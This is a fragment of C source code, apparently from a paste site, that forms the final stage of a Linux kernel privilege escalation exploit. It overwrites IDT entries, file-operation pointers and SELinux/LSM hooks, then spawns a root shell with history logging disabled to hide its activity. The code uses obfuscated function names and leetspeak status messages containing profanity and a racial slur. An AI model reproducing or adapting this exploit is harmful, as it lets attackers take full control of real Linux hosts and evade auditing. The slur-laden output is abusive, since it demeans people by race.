  782.   if(s < 0)
  783.     __xxxfdgftr_hshsgdt("socket");
  784.  
  785.   fillsocketcallAT();
  786.  
  787.  
  788. #ifdef TRY_REMAP_DEFAULT
  789.   if(rey0y0code(Y0Y0CMAP) < 0)
  790.     __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
  791. #endif
  792.  
  793.   if(useidt)
  794.   {
  795.  
  796.     __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
  797.     __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
  798.     idt_smash((idtentry));
  799.  
  800.     sleep(1);
  801.     asm volatile("int $0xdd\t\n");
  802.   }
  803.   else if(usefops)
  804.   {
  805.     magiclen = get_socklen(_m_fops, Y0Y0STOP);
  806.     magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
  807.     __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
  808.  
  809.     __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
  810.     bitch_call(&at, (void*)Y0Y0STOP);
  811.     sleep(1);
  812.  
  813.     fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  814.     if(fd < 0)
  815.       __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
  816.    
  817.     pfd.fd = fd;
  818.     pfd.events = POLLIN | POLLOUT;
  819.     poll(&pfd, 1, 0);
  820.   }
  821.   else if(uselsm)
  822.   {
  823.     int msqid;
  824.     __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
  825.     __yyrhdgdtfs66ytgetrfd dummy_msg_off   = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
  826.     __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
  827.  
  828.  
  829.     msqid = msgget(0, IPC_PRIVATE|0600);
  830.     if(msqid < 0)
  831.       __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
  832.      
  833.  
  834.     magiclen =  get_socklen(selinux_msg_off, Y0Y0STOP);
  835.     __setmcbuffer(J0J0S);
  836.     bitch_call(&at, (void*)Y0Y0STOP);
  837.     magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
  838.     __setmcbuffer(0);
  839.     bitch_call(&at, (void*)Y0Y0STOP);
  840.  
  841.  
  842.     magiclen =  get_socklen(dummy_msg_off, Y0Y0STOP);
  843.     __setmcbuffer(J0J0S);
  844.     bitch_call(&at, (void*)Y0Y0STOP);
  845.     magiclen =  get_socklen(dummy_msg_off+4, Y0Y0STOP);
  846.     __setmcbuffer(0);
  847.     bitch_call(&at, (void*)Y0Y0STOP);
  848.  
  849.  
  850.     magiclen =  get_socklen(capability_msg_off, Y0Y0STOP);
  851.     __setmcbuffer(J0J0S);
  852.     bitch_call(&at, (void*)Y0Y0STOP);
  853.     magiclen =  get_socklen(capability_msg_off+4, Y0Y0STOP);
  854.     __setmcbuffer(0);
  855.     bitch_call(&at, (void*)Y0Y0STOP);
  856.  
  857.  
  858.     msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  859.   }
  860.  
  861.   munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  862.  
  863.   /* exec */
  864.   if(getuid() == 0)
  865.   {
  866.     pid_t pid;
  867.     __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
  868.     pid = fork();
  869.     if(pid == 0)
  870.     {
  871.       char *args[] = {"/bin/sh", "-i", NULL};
  872.       char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  873.                       "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  874.       execve("/bin/sh", args, envp);
  875.     }
  876.     else  
  877.     {
  878.       int status;
  879.       waitpid(pid, &status, 0);
  880.     }
  881.   }
  882.   else
  883.     __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
  884.  
  885.   close(s);
  886.   return 0;
  887. }
  888.  
  889. #endif // -m32
Advertisement
Add Comment
Please, Sign In to add comment